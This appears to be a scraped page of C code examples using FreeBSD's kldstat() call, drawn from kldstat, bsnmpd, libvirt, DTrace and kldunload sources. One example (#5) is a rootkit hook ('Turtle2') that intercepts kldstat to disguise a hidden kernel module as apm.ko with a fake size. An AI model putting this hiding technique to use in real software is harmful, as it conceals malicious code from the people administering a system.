Beispiel #1
0
int
kld_isloaded(const char *name)
{
	struct kld_file_stat fstat;
	struct module_stat mstat;
	const char *ko;
	int fid, mid;

	for (fid = kldnext(0); fid > 0; fid = kldnext(fid)) {
		fstat.version = sizeof(fstat);
		if (kldstat(fid, &fstat) != 0)
			continue;
		/* check if the file name matches the supplied name */
		if (strcmp(fstat.name, name) == 0)
			return (1);
		/* strip .ko and try again */
		if ((ko = strstr(fstat.name, ".ko")) != NULL &&
		    strlen(name) == (size_t)(ko - fstat.name) &&
		    strncmp(fstat.name, name, ko - fstat.name) == 0)
			return (1);
		/* look for a matching module within the file */
		for (mid = kldfirstmod(fid); mid > 0; mid = modfnext(mid)) {
			mstat.version = sizeof(mstat);
			if (modstat(mid, &mstat) != 0)
				continue;
			if (strcmp(mstat.name, name) == 0)
				return (1);
		}
	}
	return (0);
}
Beispiel #2
0
/*
 * Get kernel items: first the kernel itself, then the loaded modules.
 */
static void
swrun_OS_get_kinfo(void)
{
	int fileid;
	struct swrun_entry *entry;
	struct kld_file_stat stat;

	for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) {
		stat.version = sizeof(struct kld_file_stat);
		if (kldstat(fileid, &stat) < 0) {
			syslog(LOG_ERR, "kldstat() failed: %m");
			continue;
		}

		/*
		 * kernel and kernel files (*.ko) will be indexed starting with
		 * NO_PID + 1; NO_PID is PID_MAX + 1 thus it will be no risk to
		 * overlap with real PIDs which are in range of 1 .. NO_PID
		 */
		entry = swrun_entry_find_by_index(NO_PID + 1 + stat.id);
		if (entry == NULL) {
			/* new entry - get memory for it */
			entry = swrun_entry_create(NO_PID + 1 + stat.id);
			if (entry == NULL)
				continue;
		}
		entry->flags |= HR_SWRUN_FOUND; /* mark it as found */

		kld_file_stat_to_swrun(&stat, entry);
	}
}
Beispiel #3
0
static void
printfile(int fileid, int verbose, int humanized)
{
    struct kld_file_stat stat;
    int modid;
    char buf[5];

    stat.version = sizeof(struct kld_file_stat);
    if (kldstat(fileid, &stat) < 0) {
	err(1, "can't stat file id %d", fileid);
    } else {
	if (humanized) {
	       humanize_number(buf, sizeof(buf), stat.size,
	           "", HN_AUTOSCALE, HN_DECIMAL | HN_NOSPACE);

	       printf("%2d %4d %p %5s %s",
	           stat.id, stat.refs, stat.address, buf, stat.name);
	} else {
		printf("%2d %4d %p %8zx %s",
		    stat.id, stat.refs, stat.address, stat.size, stat.name);
	}
    }

    if (verbose) {
	printf(" (%s)\n", stat.pathname);
	printf("\tContains modules:\n");
	printf("\t\tId Name\n");
	for (modid = kldfirstmod(fileid); modid > 0;
	     modid = modfnext(modid))
	    printmod(modid);
    } else
	printf("\n");
}
int virHostValidateBhyve(void)
{
    int ret = 0;
    int fileid = 0;
    struct kld_file_stat stat;
    bool vmm_loaded = false, if_tap_loaded = false;
    bool if_bridge_loaded = false, nmdm_loaded = false;

    for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) {
        stat.version = sizeof(struct kld_file_stat);
        if (kldstat(fileid, &stat) < 0)
            continue;

        if (STREQ(stat.name, "vmm.ko"))
            vmm_loaded = true;
        else if (STREQ(stat.name, "if_tap.ko"))
            if_tap_loaded = true;
        else if (STREQ(stat.name, "if_bridge.ko"))
            if_bridge_loaded = true;
        else if (STREQ(stat.name, "nmdm.ko"))
            nmdm_loaded = true;
    }

    MODULE_STATUS_FAIL(vmm, "will not be able to start VMs");
    MODULE_STATUS_WARN(if_tap, "networking will not work");
    MODULE_STATUS_WARN(if_bridge, "bridged networking will not work");
    MODULE_STATUS_WARN(nmdm, "nmdm console will not work");

    return ret;
}
Beispiel #5
0
static int kldstat_hook(struct thread *td,struct kldstat_args *args) /* hide our module */
{
	int ret = kldstat(td,args);
	size_t fake_size = 24264; /* the size of apm.ko on my system */

	if(strcmp(args->stat->name,MOD_NAME) == 0)
	{
		copyout(&fake_size,&args->stat->size,sizeof(fake_size));
		copyout("apm.ko",args->stat->name,7);
#if VERBOSE
		printf("Turtle2: blocking kldstat()\n");
#endif 
	}

	return ret;
}
Beispiel #6
0
int main( int argc, char** argv ) {
	struct kld_file_stat stat;
	int c, fileid, force, opt;
	char *filename;
	filename = NULL;
	opt = OPT_NULL;
	while ( ( c = getopt( argc, argv, "finv" ) ) != -1 ) {
		switch ( c ) {
			case 'f':
				opt |= OPT_FORCE;
				break;
			case 'i':
				opt |= OPT_ID;
				break;
			case 'n':
				break;
			case 'v':
				opt |= OPT_VERBOSE;
				break;
			default:
				usage();
		}
	}
	argc -= optind;
	argv += optind;
	if ( argc == 0 ) usage();
	while ( ( filename = *argv++ ) != NULL ) {
		if ( opt & OPT_ID ) {
			fileid = atoi( filename );
			if ( fileid < 0 ) errx( EXIT_FAILURE, "Invalid ID %s", optarg );
		} else {
			if ( ( fileid = kldfind( filename ) ) < 0 ) errx( EXIT_FAILURE, "can't find file %s", filename );
		}
		if ( opt & OPT_VERBOSE ) {
			stat.version = sizeof( stat );
			if ( kldstat( fileid, &stat ) < 0 ) err( EXIT_FAILURE, "can't stat file" );
			(void) printf( "Unloading %s, id=%d\n", stat.name, fileid );
		}
		if ( opt & OPT_FORCE ) force = LINKER_UNLOAD_FORCE;
		else force = LINKER_UNLOAD_NORMAL;
		if ( kldunloadf( fileid, force ) < 0 ) err( EXIT_FAILURE, "can't unload file" );
	}
	return ( EXIT_SUCCESS );
}
Beispiel #7
0
/*
 * Get the linker file list using the kld interface.
 * Works with a live kernel only.
 */
void
asf_kld()
{
	struct kld_file_stat kfs;
	int fid = 0;	/* indicates the beginning of the linker file list */

	while ((fid = kldnext(fid)) != 0) {
		if (fid == -1)
			err(2, "kldnext");
		kfs.version = sizeof(kfs);	/* must be set for kldstat(2) */
		/* Get info on this linker file */
		if (kldstat(fid, &kfs) == -1)
			err(2, "kldstat");
		if (strcmp(kfs.name, KERNFILE) == 0)
			continue;
		/* Add to our list of linker files */
		kfile_add(kfs.name, kfs.address);
	}
}
/* Code by orignal Author  apart from mvprintw and FileID and other ncurses stuff*/
static void printstats(FileID, verbose)
{
		
	struct kld_file_stat stat;
    

    stat.version = sizeof(struct kld_file_stat);
    if (kldstat(FileID, &stat) < 0)
	err(1, "can't stat file id %d", FileID);
    else
	mvwprintw(DLG, count, 2, "%2d %4d %p %-8zx %s",stat.id, stat.refs, stat.address, stat.size, 
	       stat.name);
	
	wmove(DLG, count, 2);
	count++;
	refresh();
	wrefresh(DLG);
	
	
}
Beispiel #9
0
/**
 * Update the information in this entry
 */
static void
fetch_swrun_entry(struct swrun_entry *entry)
{
	struct kinfo_proc *plist;
	int nproc;
	struct kld_file_stat stat;

	assert(entry !=  NULL);

	if (entry->index >= NO_PID + 1)	{
		/*
		 * kernel and kernel files (*.ko) will be indexed
		 * starting with NO_PID + 1; NO_PID is PID_MAX + 1
		 * thus it will be no risk to overlap with real PIDs
		 * which are in range of 1 .. NO_PID
		 */
		stat.version = sizeof(stat);
		if (kldstat(entry->index - NO_PID - 1, &stat) == -1) {
			/*
			 * not found, it's gone. Mark it as invalid for now, it
			 * will be removed from the list at next global refersh
			 */
			 HRDBG("missing item with kid=%d",
			     entry->index -  NO_PID - 1);
			entry->status = (int32_t)SRS_INVALID;
		} else
			kld_file_stat_to_swrun(&stat, entry);

	} else {
		/* this is a process */
		assert(hr_kd != NULL);
		plist = kvm_getprocs(hr_kd, KERN_PROC_PID,
		    entry->index - 1, &nproc);
		if (plist == NULL || nproc != 1) {
			HRDBG("missing item with PID=%d", entry->index - 1);
			entry->status = (int32_t)SRS_INVALID;
		} else
			kinfo_proc_to_swrun_entry(plist, entry);
	}
}
Beispiel #10
0
static void
printfile(int fileid, int verbose)
{
    struct kld_file_stat stat;
    int modid;

    stat.version = sizeof(struct kld_file_stat);
    if (kldstat(fileid, &stat) < 0)
	warn("can't stat file id %d", fileid);
    else
	printf("%2d %4d %p %-8jx %s\n",
	       stat.id, stat.refs, stat.address, (uintmax_t)stat.size, 
	       stat.name);

    if (verbose) {
	printf("\tContains modules:\n");
	printf("\t\tId Name\n");
	for (modid = kldfirstmod(fileid); modid > 0;
	     modid = modfnext(modid))
	    printmod(modid);
    }
}
Beispiel #11
0
/*
 * Unload all the loaded modules and then refresh the module cache with the
 * latest list of loaded modules and their address ranges.
 */
void
dtrace_update(dtrace_hdl_t *dtp)
{
	dt_module_t *dmp;
	DIR *dirp;
#if defined(__FreeBSD__)
	int fileid;
#endif

	for (dmp = dt_list_next(&dtp->dt_modlist);
	    dmp != NULL; dmp = dt_list_next(dmp))
		dt_module_unload(dtp, dmp);

#if defined(sun)
	/*
	 * Open /system/object and attempt to create a libdtrace module for
	 * each kernel module that is loaded on the current system.
	 */
	if (!(dtp->dt_oflags & DTRACE_O_NOSYS) &&
	    (dirp = opendir(OBJFS_ROOT)) != NULL) {
		struct dirent *dp;

		while ((dp = readdir(dirp)) != NULL) {
			if (dp->d_name[0] != '.')
				dt_module_update(dtp, dp->d_name);
		}

		(void) closedir(dirp);
	}
#elif defined(__FreeBSD__)
	/*
	 * Use FreeBSD's kernel loader interface to discover what kernel
	 * modules are loaded and create a libdtrace module for each one.
	 */
	for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid)) {
		struct kld_file_stat k_stat;
		k_stat.version = sizeof(k_stat);
		if (kldstat(fileid, &k_stat) == 0)
			dt_module_update(dtp, &k_stat);
	}
#endif

	/*
	 * Look up all the macro identifiers and set di_id to the latest value.
	 * This code collaborates with dt_lex.l on the use of di_id.  We will
	 * need to implement something fancier if we need to support non-ints.
	 */
	dt_idhash_lookup(dtp->dt_macros, "egid")->di_id = getegid();
	dt_idhash_lookup(dtp->dt_macros, "euid")->di_id = geteuid();
	dt_idhash_lookup(dtp->dt_macros, "gid")->di_id = getgid();
	dt_idhash_lookup(dtp->dt_macros, "pid")->di_id = getpid();
	dt_idhash_lookup(dtp->dt_macros, "pgid")->di_id = getpgid(0);
	dt_idhash_lookup(dtp->dt_macros, "ppid")->di_id = getppid();
#if defined(sun)
	dt_idhash_lookup(dtp->dt_macros, "projid")->di_id = getprojid();
#endif
	dt_idhash_lookup(dtp->dt_macros, "sid")->di_id = getsid(0);
#if defined(sun)
	dt_idhash_lookup(dtp->dt_macros, "taskid")->di_id = gettaskid();
#endif
	dt_idhash_lookup(dtp->dt_macros, "uid")->di_id = getuid();

	/*
	 * Cache the pointers to the modules representing the base executable
	 * and the run-time linker in the dtrace client handle. Note that on
	 * x86 krtld is folded into unix, so if we don't find it, use unix
	 * instead.
	 */
	dtp->dt_exec = dt_module_lookup_by_name(dtp, "genunix");
	dtp->dt_rtld = dt_module_lookup_by_name(dtp, "krtld");
	if (dtp->dt_rtld == NULL)
		dtp->dt_rtld = dt_module_lookup_by_name(dtp, "unix");

	/*
	 * If this is the first time we are initializing the module list,
	 * remove the module for genunix from the module list and then move it
	 * to the front of the module list.  We do this so that type and symbol
	 * queries encounter genunix and thereby optimize for the common case
	 * in dtrace_lookup_by_name() and dtrace_lookup_by_type(), below.
	 */
	if (dtp->dt_exec != NULL &&
	    dtp->dt_cdefs == NULL && dtp->dt_ddefs == NULL) {
		dt_list_delete(&dtp->dt_modlist, dtp->dt_exec);
		dt_list_prepend(&dtp->dt_modlist, dtp->dt_exec);
	}
}
Beispiel #12
0
/**
 * Invalidate entry. For KLDs we try to unload it, for processes we SIGKILL it.
 */
static int
invalidate_swrun_entry(struct swrun_entry *entry, int commit)
{
	struct kinfo_proc *plist;
	int nproc;
	struct kld_file_stat stat;

	assert(entry !=  NULL);

	if (entry->index >= NO_PID + 1)	{
		/* this is a kernel item */
		HRDBG("atempt to unload KLD %d",
		    entry->index -  NO_PID - 1);

		if (entry->index == SWOSIndex) {
			/* can't invalidate the kernel itself */
			return (SNMP_ERR_NOT_WRITEABLE);
		}

		stat.version = sizeof(stat);
		if (kldstat(entry->index - NO_PID - 1, &stat) == -1) {
			/*
			 * not found, it's gone. Mark it as invalid for now, it
			 * will be removed from the list at next global
			 * refresh
			 */
			HRDBG("missing item with kid=%d",
			    entry->index - NO_PID - 1);
			entry->status = (int32_t)SRS_INVALID;
			return (SNMP_ERR_NOERROR);
		}
		/*
		 * There is no way to try to unload a module. There seems
		 * also no way to find out whether it is busy without unloading
		 * it. We can assume that it is busy, if the reference count
		 * is larger than 2, but if it is 1 nothing helps.
		 */
		if (!commit) {
			if (stat.refs > 1)
				return (SNMP_ERR_NOT_WRITEABLE);
			return (SNMP_ERR_NOERROR);
		}
		if (kldunload(stat.id) == -1) {
			syslog(LOG_ERR,"kldunload for %d/%s failed: %m",
			    stat.id, stat.name);
			if (errno == EBUSY)
				return (SNMP_ERR_NOT_WRITEABLE);
			else
				return (SNMP_ERR_RES_UNAVAIL);
		}
	} else {
		/* this is a process */
		assert(hr_kd != NULL);

		plist = kvm_getprocs(hr_kd, KERN_PROC_PID,
		    entry->index - 1, &nproc);
		if (plist == NULL || nproc != 1) {
			HRDBG("missing item with PID=%d", entry->index - 1);
			entry->status = (int32_t)SRS_INVALID;
			return (SNMP_ERR_NOERROR);
		}
		if (IS_KERNPROC(plist)) {
			/* you don't want to do this */
			return (SNMP_ERR_NOT_WRITEABLE);
		}
		if (kill(entry->index - 1, commit ? SIGKILL : 0) < 0) {
			syslog(LOG_ERR,"kill (%d, SIGKILL) failed: %m",
			    entry->index - 1);
			if (errno == ESRCH) {
				/* race: just gone */
				entry->status = (int32_t)SRS_INVALID;
				return (SNMP_ERR_NOERROR);
			}
			return (SNMP_ERR_GENERR);
		}
	}
	return (SNMP_ERR_NOERROR);
}